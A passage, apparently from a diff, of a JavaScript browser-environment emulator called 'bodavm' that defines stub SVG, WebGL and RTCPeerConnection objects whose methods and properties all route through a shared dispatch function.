"isPointInFill", {configurable:true, enumerable:true, writable:true, value:function isPointInFill (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGGeometryElement'].prototype, "SVGGeometryElement", "isPointInFill", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGGeometryElement', "isPointInStroke", {configurable:true, enumerable:true, writable:true, value:function isPointInStroke (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGGeometryElement'].prototype, "SVGGeometryElement", "isPointInStroke", arguments)}},'prototype'); - -// SVGPathElement对象 -bodavm.memory.globalobj['SVGPathElement'] = function SVGPathElement(){if (!(this instanceof SVGPathElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGPathElement'], "SVGPathElement"); -bodavm.memory.globalobj['SVGPathElement'].prototype.__proto__=bodavm.memory.globalobj['SVGGeometryElement'].prototype; -bodavm.memory.globalobj['SVGPathElement'].__proto__=bodavm.memory.globalobj['SVGGeometryElement']; - -// SVGSVGElement对象 -bodavm.memory.globalobj['SVGSVGElement'] = function SVGSVGElement(){if (!(this instanceof SVGSVGElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGSVGElement'], "SVGSVGElement"); -bodavm.memory.globalobj['SVGSVGElement'].prototype.__proto__=bodavm.memory.globalobj['SVGGraphicsElement'].prototype; -bodavm.memory.globalobj['SVGSVGElement'].__proto__=bodavm.memory.globalobj['SVGGraphicsElement']; -bodavm.toolsFunc.defineProperty('SVGSVGElement', "SVG_ZOOMANDPAN_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('SVGSVGElement', "SVG_ZOOMANDPAN_DISABLE", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('SVGSVGElement', "SVG_ZOOMANDPAN_MAGNIFY", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('SVGSVGElement', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "x_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGSVGElement', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "y_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGSVGElement', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "width_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGSVGElement', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "height_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGSVGElement', "currentScale", {configurable:true, enumerable:true, get:function currentScale (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "currentScale_get", arguments)}, set:function currentScale (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "currentScale_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGSVGElement', "currentTranslate", {configurable:true, enumerable:true, get:function currentTranslate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "currentTranslate_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGSVGElement', "viewBox", {configurable:true, enumerable:true, get:function viewBox (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "viewBox_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGSVGElement', "preserveAspectRatio", {configurable:true, enumerable:true, get:function preserveAspectRatio (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "preserveAspectRatio_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGSVGElement', "zoomAndPan", {configurable:true, enumerable:true, get:function zoomAndPan (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "zoomAndPan_get", arguments)}, set:function zoomAndPan (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "zoomAndPan_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGSVGElement', "SVG_ZOOMANDPAN_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); -bodavm.toolsFunc.defineProperty('SVGSVGElement', "SVG_ZOOMANDPAN_DISABLE", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); -bodavm.toolsFunc.defineProperty('SVGSVGElement', "SVG_ZOOMANDPAN_MAGNIFY", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); -bodavm.toolsFunc.defineProperty('SVGSVGElement', "animationsPaused", {configurable:true, enumerable:true, writable:true, value:function animationsPaused (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "animationsPaused", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGSVGElement', "checkEnclosure", {configurable:true, enumerable:true, writable:true, value:function checkEnclosure (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "checkEnclosure", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGSVGElement', "checkIntersection", {configurable:true, enumerable:true, writable:true, value:function checkIntersection (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "checkIntersection", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGSVGElement', "createSVGAngle", {configurable:true, enumerable:true, writable:true, value:function createSVGAngle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "createSVGAngle", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGSVGElement', "createSVGLength", {configurable:true, enumerable:true, writable:true, value:function createSVGLength (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "createSVGLength", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGSVGElement', "createSVGMatrix", {configurable:true, enumerable:true, writable:true, value:function createSVGMatrix (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "createSVGMatrix", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGSVGElement', "createSVGNumber", {configurable:true, enumerable:true, writable:true, value:function createSVGNumber (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "createSVGNumber", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGSVGElement', "createSVGPoint", {configurable:true, enumerable:true, writable:true, value:function createSVGPoint (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "createSVGPoint", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGSVGElement', "createSVGRect", {configurable:true, enumerable:true, writable:true, value:function createSVGRect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "createSVGRect", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGSVGElement', "createSVGTransform", {configurable:true, enumerable:true, writable:true, value:function createSVGTransform (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "createSVGTransform", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGSVGElement', "createSVGTransformFromMatrix", {configurable:true, enumerable:true, writable:true, value:function createSVGTransformFromMatrix (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "createSVGTransformFromMatrix", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGSVGElement', "deselectAll", {configurable:true, enumerable:true, writable:true, value:function deselectAll (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "deselectAll", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGSVGElement', "forceRedraw", {configurable:true, enumerable:true, writable:true, value:function forceRedraw (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "forceRedraw", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGSVGElement', "getCurrentTime", {configurable:true, enumerable:true, writable:true, value:function getCurrentTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "getCurrentTime", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGSVGElement', "getElementById", {configurable:true, enumerable:true, writable:true, value:function getElementById (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "getElementById", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGSVGElement', "getEnclosureList", {configurable:true, enumerable:true, writable:true, value:function getEnclosureList (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "getEnclosureList", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGSVGElement', "getIntersectionList", {configurable:true, enumerable:true, writable:true, value:function getIntersectionList (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "getIntersectionList", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGSVGElement', "pauseAnimations", {configurable:true, enumerable:true, writable:true, value:function pauseAnimations (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "pauseAnimations", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGSVGElement', "setCurrentTime", {configurable:true, enumerable:true, writable:true, value:function setCurrentTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "setCurrentTime", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGSVGElement', "suspendRedraw", {configurable:true, enumerable:true, writable:true, value:function suspendRedraw (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "suspendRedraw", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGSVGElement', "unpauseAnimations", {configurable:true, enumerable:true, writable:true, value:function unpauseAnimations (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "unpauseAnimations", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGSVGElement', "unsuspendRedraw", {configurable:true, enumerable:true, writable:true, value:function unsuspendRedraw (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "unsuspendRedraw", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGSVGElement', "unsuspendRedrawAll", {configurable:true, enumerable:true, writable:true, value:function unsuspendRedrawAll (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSVGElement'].prototype, "SVGSVGElement", "unsuspendRedrawAll", arguments)}},'prototype'); - -// SVGSymbolElement对象 -bodavm.memory.globalobj['SVGSymbolElement'] = function SVGSymbolElement(){if (!(this instanceof SVGSymbolElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGSymbolElement'], "SVGSymbolElement"); -bodavm.memory.globalobj['SVGSymbolElement'].prototype.__proto__=bodavm.memory.globalobj['SVGElement'].prototype; -bodavm.memory.globalobj['SVGSymbolElement'].__proto__=bodavm.memory.globalobj['SVGElement']; -bodavm.toolsFunc.defineProperty('SVGSymbolElement', "viewBox", {configurable:true, enumerable:true, get:function viewBox (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSymbolElement'].prototype, "SVGSymbolElement", "viewBox_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGSymbolElement', "preserveAspectRatio", {configurable:true, enumerable:true, get:function preserveAspectRatio (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGSymbolElement'].prototype, "SVGSymbolElement", "preserveAspectRatio_get", arguments)}, set:undefined},'prototype'); - -// SVGUseElement对象 -bodavm.memory.globalobj['SVGUseElement'] = function SVGUseElement(){if (!(this instanceof SVGUseElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGUseElement'], "SVGUseElement"); -bodavm.memory.globalobj['SVGUseElement'].prototype.__proto__=bodavm.memory.globalobj['SVGGraphicsElement'].prototype; -bodavm.memory.globalobj['SVGUseElement'].__proto__=bodavm.memory.globalobj['SVGGraphicsElement']; -bodavm.toolsFunc.defineProperty('SVGUseElement', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGUseElement'].prototype, "SVGUseElement", "x_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGUseElement', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGUseElement'].prototype, "SVGUseElement", "y_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGUseElement', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGUseElement'].prototype, "SVGUseElement", "width_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGUseElement', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGUseElement'].prototype, "SVGUseElement", "height_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGUseElement', "href", {configurable:true, enumerable:true, get:function href (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGUseElement'].prototype, "SVGUseElement", "href_get", arguments)}, set:undefined},'prototype'); - -// WebGLShader对象 -bodavm.memory.globalobj['WebGLShader'] = function WebGLShader(){if (!(this instanceof WebGLShader)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WebGLShader'], "WebGLShader"); - -// WebGLShaderPrecisionFormat对象 -bodavm.memory.globalobj['WebGLShaderPrecisionFormat'] = function WebGLShaderPrecisionFormat(){if (!(this instanceof WebGLShaderPrecisionFormat)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['WebGLShaderPrecisionFormat'], "WebGLShaderPrecisionFormat"); -bodavm.toolsFunc.defineProperty('WebGLShaderPrecisionFormat', "rangeMin", {configurable:true, enumerable:true, get:function rangeMin (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLShaderPrecisionFormat'].prototype, "WebGLShaderPrecisionFormat", "rangeMin_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLShaderPrecisionFormat', "rangeMax", {configurable:true, enumerable:true, get:function rangeMax (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLShaderPrecisionFormat'].prototype, "WebGLShaderPrecisionFormat", "rangeMax_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('WebGLShaderPrecisionFormat', "precision", {configurable:true, enumerable:true, get:function precision (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGLShaderPrecisionFormat'].prototype, "WebGLShaderPrecisionFormat", "precision_get", arguments)}, set:undefined},'prototype'); - -// RTCPeerConnection对象 -bodavm.memory.globalobj['RTCPeerConnection'] = function RTCPeerConnection(){this._boarg= new bodaobj.window.RTCPeerConnection();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RTCPeerConnection'], "RTCPeerConnection"); -bodavm.memory.globalobj['RTCPeerConnection'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['RTCPeerConnection'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('RTCPeerConnection', "generateCertificate", {configurable:true, enumerable:true, writable:true, value:function generateCertificate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].undefined, "RTCPeerConnection", "generateCertificate", arguments)}}); -bodavm.toolsFunc.defineProperty('RTCPeerConnection', "localDescription", {configurable:true, enumerable:true, get:function localDescription (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "localDescription_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnection', "currentLocalDescription", {configurable:true, enumerable:true, get:function currentLocalDescription (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "currentLocalDescription_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnection', "pendingLocalDescription", {configurable:true, enumerable:true, get:function pendingLocalDescription (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "pendingLocalDescription_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnection', "remoteDescription", {configurable:true, enumerable:true, get:function remoteDescription (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "remoteDescription_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnection', "currentRemoteDescription", {configurable:true, enumerable:true, get:function currentRemoteDescription (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "currentRemoteDescription_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnection', "pendingRemoteDescription", {configurable:true, enumerable:true, get:function pendingRemoteDescription (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "pendingRemoteDescription_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnection', "signalingState", {configurable:true, enumerable:true, get:function signalingState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "signalingState_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnection', "iceGatheringState", {configurable:true, enumerable:true, get:function iceGatheringState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "iceGatheringState_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnection', "iceConnectionState", {configurable:true, enumerable:true, get:function iceConnectionState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "iceConnectionState_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnection', "connectionState", {configurable:true, enumerable:true, get:function connectionState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "connectionState_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnection', "canTrickleIceCandidates", {configurable:true, enumerable:true, get:function canTrickleIceCandidates (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "canTrickleIceCandidates_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnection', "onnegotiationneeded", {configurable:true, enumerable:true, get:function onnegotiationneeded (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "onnegotiationneeded_get", arguments)}, set:function onnegotiationneeded (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "onnegotiationneeded_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnection', "onicecandidate", {configurable:true, enumerable:true, get:function onicecandidate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "onicecandidate_get", arguments)}, set:function onicecandidate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "onicecandidate_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnection', "onsignalingstatechange", {configurable:true, enumerable:true, get:function onsignalingstatechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "onsignalingstatechange_get", arguments)}, set:function onsignalingstatechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "onsignalingstatechange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnection', "oniceconnectionstatechange", {configurable:true, enumerable:true, get:function oniceconnectionstatechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "oniceconnectionstatechange_get", arguments)}, set:function oniceconnectionstatechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "oniceconnectionstatechange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnection', "onconnectionstatechange", {configurable:true, enumerable:true, get:function onconnectionstatechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "onconnectionstatechange_get", arguments)}, set:function onconnectionstatechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "onconnectionstatechange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnection', "onicegatheringstatechange", {configurable:true, enumerable:true, get:function onicegatheringstatechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "onicegatheringstatechange_get", arguments)}, set:function onicegatheringstatechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "onicegatheringstatechange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnection', "onicecandidateerror", {configurable:true, enumerable:true, get:function onicecandidateerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "onicecandidateerror_get", arguments)}, set:function onicecandidateerror (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "onicecandidateerror_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnection', "ontrack", {configurable:true, enumerable:true, get:function ontrack (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "ontrack_get", arguments)}, set:function ontrack (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "ontrack_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnection', "sctp", {configurable:true, enumerable:true, get:function sctp (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "sctp_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnection', "ondatachannel", {configurable:true, enumerable:true, get:function ondatachannel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "ondatachannel_get", arguments)}, set:function ondatachannel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "ondatachannel_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnection', "onaddstream", {configurable:true, enumerable:true, get:function onaddstream (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "onaddstream_get", arguments)}, set:function onaddstream (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "onaddstream_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnection', "onremovestream", {configurable:true, enumerable:true, get:function onremovestream (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "onremovestream_get", arguments)}, set:function onremovestream (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "onremovestream_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnection', "addIceCandidate", {configurable:true, enumerable:true, writable:true, value:function addIceCandidate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "addIceCandidate", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnection', "addStream", {configurable:true, enumerable:true, writable:true, value:function addStream (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "addStream", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnection', "addTrack", {configurable:true, enumerable:true, writable:true, value:function addTrack (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "addTrack", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnection', "addTransceiver", {configurable:true, enumerable:true, writable:true, value:function addTransceiver (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "addTransceiver", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnection', "close", {configurable:true, enumerable:true, writable:true, value:function close (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "close", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnection', "createAnswer", {configurable:true, enumerable:true, writable:true, value:function createAnswer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "createAnswer", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnection', "createDTMFSender", {configurable:true, enumerable:true, writable:true, value:function createDTMFSender (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "createDTMFSender", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnection', "createDataChannel", {configurable:true, enumerable:true, writable:true, value:function createDataChannel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "createDataChannel", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnection', "createOffer", {configurable:true, enumerable:true, writable:true, value:function createOffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "createOffer", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnection', "getConfiguration", {configurable:true, enumerable:true, writable:true, value:function getConfiguration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "getConfiguration", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnection', "getLocalStreams", {configurable:true, enumerable:true, writable:true, value:function getLocalStreams (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "getLocalStreams", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnection', "getReceivers", {configurable:true, enumerable:true, writable:true, value:function getReceivers (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RTCPeerConnection'].prototype, "RTCPeerConnection", "getReceivers", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('RTCPeerConnection', 